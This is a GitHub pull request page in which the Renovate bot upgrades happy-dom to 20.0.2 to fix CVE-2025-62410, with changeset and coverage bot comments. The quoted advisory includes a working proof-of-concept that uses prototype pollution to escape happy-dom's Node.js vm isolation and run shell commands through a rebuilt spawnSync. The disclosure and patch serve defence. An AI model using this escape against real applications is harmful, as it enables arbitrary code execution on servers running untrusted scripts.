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chore(deps): update dependency happy-dom to v20.0.2 [security] #2814

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Merged
merged 1 commit into from
Oct 15, 2025
Merged

chore(deps): update dependency happy-dom to v20.0.2 [security] #2814

merged 1 commit into from
Oct 15, 2025

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@renovate renovate bot commented Oct 15, 2025

This PR contains the following updates:

Package Change Age Confidence
happy-dom 20.0.0 -> 20.0.2 age confidence

GitHub Vulnerability Alerts

CVE-2025-62410

Summary

The mitigation proposed in GHSA-37j7-fg3j-429f for disabling eval/Function when executing untrusted code in happy-dom does not suffice, since it still allows prototype pollution payloads.

Details

The untrusted script and the rest of the application still run in the same Isolate/process, so attackers can deploy prototype pollution payloads to hijack important references like "process" in the example below, or to hijack control flow via flipping checks of undefined property. There might be other payloads that allow the manipulation of require, e.g., via (univeral) gadgets (https://www.usenix.org/system/files/usenixsecurity23-shcherbakov.pdf).

PoC

Attackers can pollute builtins like Object.prototype.hasOwnProperty() to obtain important references at runtime, e.g., "process". In this way, attackers might be able to execute arbitrary commands like in the example below via spawn().

import { Browser } from "happy-dom";

const browser = new Browser({settings: {enableJavaScriptEvaluation: true}});
const page = browser.newPage({console: true});

page.url = 'https://example.com';
let payload = 'spawn_sync = process.binding(`spawn_sync`);normalizeSpawnArguments = function(c,b,a){if(Array.isArray(b)?b=b.slice(0):(a=b,b=[]),a===undefined&&(a={}),a=Object.assign({},a),a.shell){const g=[c].concat(b).join(` `);typeof a.shell===`string`?c=a.shell:c=`/bin/sh`,b=[`-c`,g];}typeof a.argv0===`string`?b.unshift(a.argv0):b.unshift(c);var d=a.env||process.env;var e=[];for(var f in d)e.push(f+`=`+d[f]);return{file:c,args:b,options:a,envPairs:e};};spawnSync = function(){var d=normalizeSpawnArguments.apply(null,arguments);var a=d.options;var c;if(a.file=d.file,a.args=d.args,a.envPairs=d.envPairs,a.stdio=[{type:`pipe`,readable:!0,writable:!1},{type:`pipe`,readable:!1,writable:!0},{type:`pipe`,readable:!1,writable:!0}],a.input){var g=a.stdio[0]=util._extend({},a.stdio[0]);g.input=a.input;}for(c=0;c<a.stdio.length;c++){var e=a.stdio[c]&&a.stdio[c].input;if(e!=null){var f=a.stdio[c]=util._extend({},a.stdio[c]);isUint8Array(e)?f.input=e:f.input=Buffer.from(e,a.encoding);}}var b=spawn_sync.spawn(a);if(b.output&&a.encoding&&a.encoding!==`buffer`)for(c=0;c<b.output.length;c++){if(!b.output[c])continue;b.output[c]=b.output[c].toString(a.encoding);}return b.stdout=b.output&&b.output[1],b.stderr=b.output&&b.output[2],b.error&&(b.error= b.error + `spawnSync `+d.file,b.error.path=d.file,b.error.spawnargs=d.args.slice(1)),b;};'
page.content = `<html>
<script>
    function f() { let process = this; ${payload}; spawnSync("touch", ["success.flag"]); return "success";} 
    this.constructor.constructor.__proto__.__proto__.toString = f;
    this.constructor.constructor.__proto__.__proto__.hasOwnProperty = f;
    // Other methods that can be abused this way: isPrototypeOf, propertyIsEnumerable, valueOf
    
</script>
<body>Hello world!</body></html>`;

await browser.close();
console.log(`The process object is ${process}`);
console.log(process.hasOwnProperty('spawn'));

Impact

Arbitrary code execution via breaking out of the Node.js' vm isolation.

Recommended Immediate Actions

Users can freeze the builtins in the global scope to defend against attacks similar to the PoC above. However, the untrusted code might still be able to retrieve all kind of information available in the global scope and exfiltrate them via fetch(), even without prototype pollution capabilities. Not to mention side channels caused by the shared process/isolate. Migration to isolated-vm is suggested instead.

Cris from the Endor Labs Security Research Team, who has worked extensively on JavaScript sandboxing in the past, submitted this advisory.

Release Notes

capricorn86/happy-dom (happy-dom)

v20.0.2

Compare Source

v20.0.1

Compare Source

Configuration

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🚦 Automerge: Enabled.

♻ Rebasing: Whenever PR is behind base branch, or you tick the rebase/retry checkbox.

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  • If you want to rebase/retry this PR, check this box

This PR was generated by Mend Renovate. View the repository job log.

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changeset-bot bot commented Oct 15, 2025

⚠️ No Changeset found

Latest commit: 5db87f4

Merging this PR will not cause a version bump for any packages. If these changes should not result in a new version, you're good to go. If these changes should result in a version bump, you need to add a changeset.

This PR includes no changesets

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codecov bot commented Oct 15, 2025 •
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Codecov Report

✅ All modified and coverable lines are covered by tests.
✅ Project coverage is 68.92%. Comparing base (018f235) to head (5db87f4).
⚠️ Report is 1 commits behind head on main.

Additional details and impacted files 
@@           Coverage Diff           @@
##             main    #2814   +/-   ##
=======================================
  Coverage   68.92%   68.92%           
=======================================
  Files          44       44           
  Lines        1297     1297           
  Branches      181      181           
=======================================
  Hits          894      894           
  Misses        380      380           
  Partials       23       23

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@philibea philibea merged commit 144bac9 into main Oct 15, 2025
8 checks passed
@philibea philibea deleted the renovate/npm-happy-dom-vulnerability branch October 15, 2025 21:17
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